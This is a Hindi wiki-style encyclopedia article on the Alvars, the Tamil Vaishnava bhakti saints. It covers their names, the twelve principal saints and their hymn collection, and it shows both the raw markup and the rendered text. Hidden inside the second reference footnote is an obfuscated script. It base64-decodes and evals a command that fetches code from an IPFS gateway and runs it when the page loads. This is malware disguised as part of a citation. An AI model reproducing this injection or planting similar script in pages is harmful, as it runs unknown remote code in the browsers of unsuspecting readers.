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*आलवार, [[वैष्णव सम्प्रदाय]] के सन्त थे, जिन्होंने ईसा की सातवीं आठवी शताब्दी में दक्षिण [[भारत]] में भक्तिमार्ग का प्रचार किया।  
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'''आलवार''' [[तमिल भाषा]] के इस शब्द का व्युत्पत्तिलभ्य अर्थ है- अध्यात्म ज्ञान के [[समुद्र]] में गोता लगाने वाला व्यक्ति। आलवार [[वैष्णव सम्प्रदाय]] के [[सन्त]] थे, जिन्होंने ईसा की सातवीं-आठवी शताब्दी में [[दक्षिण भारत]] में '[[भक्तिमार्ग]]' का प्रचार किया। इनका हृदय [[नारायण]] की भक्ति से आप्लावित था और ये लक्ष्मीनारायण के सच्चे उपासक थे। इनके जीवन का एक ही उद्देश्य था-[[विष्णु]] की प्रगाढ़ भक्ति में स्वत: लीन होना और अपने उपदेशों से दूसरे साधकों को लीन करना। इनकी मातृभाषा [[तमिल भाषा|तमिल]] थी जिसमें इन्होंने सहस्रों सरस और भक्तिस्निग्ध पदों की रचना कर सामान्य जनता के हृदय में भक्ति की मंदाकिनी बहा दी। इन संतों का आविर्भावकाल सप्तम शतक और दशम शतक के अंतर्गत माना जाता है। इन आलवारों में गोदा स्त्री थी, [[कुलशेखर]] [[केरल]] के राजा थे, जिन्होंने राजपाट छोड़कर अपना अंतिम समय [[श्रीरंगम|श्रीरंगम]] के आराध्यदेव श्रीरंगनाथ जी की उपासना में बिताया। इनका मुकुंदमाला नामक संस्कृत स्तोत्र नितांत प्रख्यात है। [[आंडाल |आंडाल]] आलवार विष्णुचित्त की पोष्य पुत्री थी और जीवन भर कौमार्य धारण कर वह रंगनाथ को ही अपना प्रियतम मानती रही। उसे हम तमिल देश की [[मीरा बाई|मीरा]] कह सकते हैं। दोनों के जीवन में एक प्रकार की माधुर्यमयी निष्ठा तथा स्नेहमय जीवन इस समता का मुख्य आधार है। और शेष भक्तों में कई अछूत तथा चोरी डकैती कर जीवनयापन करनेवाले व्यक्ति भी थे।
*इन सन्तों में नाथमुनि, यामुनाचार्य और [[रामानुजाचार्य]] प्रमुख थे।  
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*रामानुज ने विशिष्टद्वैत सिद्धान्त का प्रतिपादन किया, जो [[शंकराचार्य]] के अद्वैतवाद का संशोधित रूप था।
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आलवारों के दो प्रकार के नाम मिलते हैं-एक [[तमिल]], दूसरे [[संस्कृत]] नाम। इनकी स्तुतियों का संग्रह नालायिरप्रबंधम्‌ (4,000 पद्य) के नाम से विख्यात है जो भक्ति, ज्ञान, प्रेम सौंदर्य तथा आनंद से ओतप्रोत आध्यात्मिकता की दृष्टि से यह संग्रह '"तमिलवेद"' की संज्ञा से अभिहित किया जाता है।
  
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==धर्म रक्षक==
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जब कभी भी [[भारत]] में विदेशियों के प्रभाव से [[धर्म]] के लिए ख़तरा उत्पन्न हुआ, तब-तब अनेक सन्तों ने लोक मानस में [[धर्म]] की पवित्र धारा बहाकर उसकी रक्षा करने का प्रयत्न किया। दक्षिण भारत के आलवार सन्तों की भी यही भूमिका रही है। 'आलवार' का अर्थ होता है कि "जिसने अध्यात्म-ज्ञान रूपी [[समुद्र]] में गोता लगाया हो।" आलवार संत '[[गीता]]' की सजीव मूर्ति थे। वे [[उपनिषद|उपनिषदों]] के उपदेश के जीते जागते उदाहरण थे।<ref name="mcc">{{cite web |url=http://www.livehindustan.com/news/editorial/guestcolumn/article1-story-57-62-75659.html |title=आलवार सन्त|accessmonthday=19 मई|accessyear=2012|last=देवसरे|first=डॉक्टर हरिकृष्ण|authorlink= |format= |publisher= |language=[[हिन्दी]]}}</ref>
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====संख्या====
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आलवर [[विष्णु]] भक्तों की संख्या पर्याप्त रूप से अधिक थी, परंतु उनमें से 12 भक्त ही प्रधान और महत्वपूर्ण माने जाते हैं। इन सन्तों में नाथमुनि, [[यामुनाचार्य]] और [[रामानुजाचार्य]] आदि प्रमुख थे। रामानुज ने '[[विशिष्टाद्वैत दर्शन|विशिष्टाद्वैत सिद्धान्त]]' का प्रतिपादन किया था, जो [[शंकराचार्य]] के '[[अद्वैतवाद]]' का संशोधित रूप था।
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==रचनाएँ==
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आलवर संतों में प्रथम तीनों व्यक्ति अत्यंत प्राचीन और समकालीन माने जाते हैं। इनके बनाए 300 भजन मिलते हैं जिन्हें श्रीवैष्णव लोग [[ऋग्वेद]] का सार मानते हैं। आचार्य शटकोप अपनी विपुल रचना, पवित्र चरित्र तथा कठिन तपस्या के कारण आलवारों में विशेष प्रख्यात हैं। इनकी ये चारों कृतियां श्रुतियों के समकक्ष अध्यात्ममयी तथा पावन मानी जाती हैं : (क) तिरुविरुत्तम्‌, (ख) तिरुवाशिरियम्‌, (ग) पेरिय तिरुवंताति तथा (घ) तिरुवायमोलि। वेदांतदेशिक (1269 ई.-1369 ई.) जैसे प्रख्यात आचार्य ने अंतिम ग्रंथ का उपनिषदों के समान गूढ़ तथा रहस्यमय होने से 'द्रविडोपनिषत्‌', नाम दिया है और उसका संस्कृत में अनुवाद भी किया है। तमिल के सर्वश्रेष्ठ कवि कंबन की रामायण रंगनाथ जी को भी तभी स्वीकृत हुई, जब उन्होंने शठकोप की स्तुति ग्रंथ के आरंभ में की। इस लोकप्रसिद्ध घटना से इनका माहात्म्य तथा गौरव आंका जा सकता है। आलवर संतों ने भगवान [[नारायण]], [[श्रीराम]] और [[श्रीकृष्ण]] आदि के गुणों का वर्णन करने वाले हज़ारों पदों की रचना की थी। इन पदों को सुनकर व गाकर आज भी लोग [[भक्ति रस]] में डूब जाते हैं। आलवार संत प्रचार और लोकप्रियता से दूर ही रहते थे। ये इतने सरल और सीधे स्वभाव के संत होते थे कि न तो किसी को दु:ख पहुंचाते थे और न ही किसी से कुछ अपेक्षा करते थे।<ref name="mcc"/> आलवारों के पद भाषा की दृष्टि से भी ललित और भावपूर्ण माने जाते हैं। भक्ति से स्निग्ध हृदय के ये उद् गार तमिल भाषा की दिव्य संपत्ति हैं तथा भक्ति के नाना भावों में मधुर रस की भी छटा इन पदों में, विशेषत: नम्म आलवार के पदों में, कम नहीं है।<ref>सं.ग्रं.-डूपर : हिम्स ऑव दि अलवारस, कलकत्ता, 1929; बलदेव उपाध्याय : भागवत संप्रदाय, काशी, सं. 2010।</ref>
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==संबंधित लेख==
 
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06:16, 24 जून 2018 के समय का अवतरण

आलवार तमिल भाषा के इस शब्द का व्युत्पत्तिलभ्य अर्थ है- अध्यात्म ज्ञान के समुद्र में गोता लगाने वाला व्यक्ति। आलवार वैष्णव सम्प्रदाय के सन्त थे, जिन्होंने ईसा की सातवीं-आठवी शताब्दी में दक्षिण भारत में 'भक्तिमार्ग' का प्रचार किया। इनका हृदय नारायण की भक्ति से आप्लावित था और ये लक्ष्मीनारायण के सच्चे उपासक थे। इनके जीवन का एक ही उद्देश्य था-विष्णु की प्रगाढ़ भक्ति में स्वत: लीन होना और अपने उपदेशों से दूसरे साधकों को लीन करना। इनकी मातृभाषा तमिल थी जिसमें इन्होंने सहस्रों सरस और भक्तिस्निग्ध पदों की रचना कर सामान्य जनता के हृदय में भक्ति की मंदाकिनी बहा दी। इन संतों का आविर्भावकाल सप्तम शतक और दशम शतक के अंतर्गत माना जाता है। इन आलवारों में गोदा स्त्री थी, कुलशेखर केरल के राजा थे, जिन्होंने राजपाट छोड़कर अपना अंतिम समय श्रीरंगम के आराध्यदेव श्रीरंगनाथ जी की उपासना में बिताया। इनका मुकुंदमाला नामक संस्कृत स्तोत्र नितांत प्रख्यात है। आंडाल आलवार विष्णुचित्त की पोष्य पुत्री थी और जीवन भर कौमार्य धारण कर वह रंगनाथ को ही अपना प्रियतम मानती रही। उसे हम तमिल देश की मीरा कह सकते हैं। दोनों के जीवन में एक प्रकार की माधुर्यमयी निष्ठा तथा स्नेहमय जीवन इस समता का मुख्य आधार है। और शेष भक्तों में कई अछूत तथा चोरी डकैती कर जीवनयापन करनेवाले व्यक्ति भी थे।

अन्य नाम

आलवारों के दो प्रकार के नाम मिलते हैं-एक तमिल, दूसरे संस्कृत नाम। इनकी स्तुतियों का संग्रह नालायिरप्रबंधम्‌ (4,000 पद्य) के नाम से विख्यात है जो भक्ति, ज्ञान, प्रेम सौंदर्य तथा आनंद से ओतप्रोत आध्यात्मिकता की दृष्टि से यह संग्रह '"तमिलवेद"' की संज्ञा से अभिहित किया जाता है।

श्रीवैष्णव आचार्य पराशर भट्ट ने इन भक्तों के संस्कृत नामों का एकत्र निर्देश इस प्रख्यात पद्य में किया है:

भूतं सरश्च महादाह्वय-भट्टनाथ-
श्रीभक्तिसार-कुलशेखर-योगिवाहान्‌।
भक्तांघ्रारेण-परकाल-यतींद्रमिश्रान्‌
श्रीमत्परांकुशमुनिं प्रणतोऽस्मि नित्यम्‌।।

आलवारों के दोनों प्रकार के नाम हैं-(1) सरोयोगी (पोयगैआलवार), (2) भूतयोगी (भूतत्तालवार), (3) महत्योगी (पेय आलवार), (4) भक्तसागर (तिरुमडिसै आलवार), (5) शठकोप या परांकुश मुनि (नम्म आलवार), (6) मधुर कवि, (7) कुलशेखर, (8) विष्णुचित्त (परि आलवार), (9) गोदा या रंगनायकी (आंडाल), (10) विप्रनारायण या भक्तपदरेणु (तोंडर डिप्पोलि), (11) योगवाह या मुनिवाहन (तिरुप्पन), (12) परकाल या नीलन्‌ (तिरुमंगैयालवार)।[1]

धर्म रक्षक

जब कभी भी भारत में विदेशियों के प्रभाव से धर्म के लिए ख़तरा उत्पन्न हुआ, तब-तब अनेक सन्तों ने लोक मानस में धर्म की पवित्र धारा बहाकर उसकी रक्षा करने का प्रयत्न किया। दक्षिण भारत के आलवार सन्तों की भी यही भूमिका रही है। 'आलवार' का अर्थ होता है कि "जिसने अध्यात्म-ज्ञान रूपी समुद्र में गोता लगाया हो।" आलवार संत 'गीता' की सजीव मूर्ति थे। वे उपनिषदों के उपदेश के जीते जागते उदाहरण थे।[2]

संख्या

आलवर विष्णु भक्तों की संख्या पर्याप्त रूप से अधिक थी, परंतु उनमें से 12 भक्त ही प्रधान और महत्वपूर्ण माने जाते हैं। इन सन्तों में नाथमुनि, यामुनाचार्य और रामानुजाचार्य आदि प्रमुख थे। रामानुज ने 'विशिष्टाद्वैत सिद्धान्त' का प्रतिपादन किया था, जो शंकराचार्य के 'अद्वैतवाद' का संशोधित रूप था।

रचनाएँ

आलवर संतों में प्रथम तीनों व्यक्ति अत्यंत प्राचीन और समकालीन माने जाते हैं। इनके बनाए 300 भजन मिलते हैं जिन्हें श्रीवैष्णव लोग ऋग्वेद का सार मानते हैं। आचार्य शटकोप अपनी विपुल रचना, पवित्र चरित्र तथा कठिन तपस्या के कारण आलवारों में विशेष प्रख्यात हैं। इनकी ये चारों कृतियां श्रुतियों के समकक्ष अध्यात्ममयी तथा पावन मानी जाती हैं : (क) तिरुविरुत्तम्‌, (ख) तिरुवाशिरियम्‌, (ग) पेरिय तिरुवंताति तथा (घ) तिरुवायमोलि। वेदांतदेशिक (1269 ई.-1369 ई.) जैसे प्रख्यात आचार्य ने अंतिम ग्रंथ का उपनिषदों के समान गूढ़ तथा रहस्यमय होने से 'द्रविडोपनिषत्‌', नाम दिया है और उसका संस्कृत में अनुवाद भी किया है। तमिल के सर्वश्रेष्ठ कवि कंबन की रामायण रंगनाथ जी को भी तभी स्वीकृत हुई, जब उन्होंने शठकोप की स्तुति ग्रंथ के आरंभ में की। इस लोकप्रसिद्ध घटना से इनका माहात्म्य तथा गौरव आंका जा सकता है। आलवर संतों ने भगवान नारायण, श्रीराम और श्रीकृष्ण आदि के गुणों का वर्णन करने वाले हज़ारों पदों की रचना की थी। इन पदों को सुनकर व गाकर आज भी लोग भक्ति रस में डूब जाते हैं। आलवार संत प्रचार और लोकप्रियता से दूर ही रहते थे। ये इतने सरल और सीधे स्वभाव के संत होते थे कि न तो किसी को दु:ख पहुंचाते थे और न ही किसी से कुछ अपेक्षा करते थे।[2] आलवारों के पद भाषा की दृष्टि से भी ललित और भावपूर्ण माने जाते हैं। भक्ति से स्निग्ध हृदय के ये उद् गार तमिल भाषा की दिव्य संपत्ति हैं तथा भक्ति के नाना भावों में मधुर रस की भी छटा इन पदों में, विशेषत: नम्म आलवार के पदों में, कम नहीं है।[3]



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टीका टिप्पणी और संदर्भ

  1. हिन्दी विश्वकोश, खण्ड 1 |प्रकाशक: नागरी प्रचारिणी सभा, वाराणसी |संकलन: भारत डिस्कवरी पुस्तकालय |पृष्ठ संख्या: 445 |
  2. 2.0 2.1 देवसरे, डॉक्टर हरिकृष्ण। आलवार सन्त (हिन्दी)। । अभिगमन तिथि: 19 मई, 2012।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  3. सं.ग्रं.-डूपर : हिम्स ऑव दि अलवारस, कलकत्ता, 1929; बलदेव उपाध्याय : भागवत संप्रदाय, काशी, सं. 2010।

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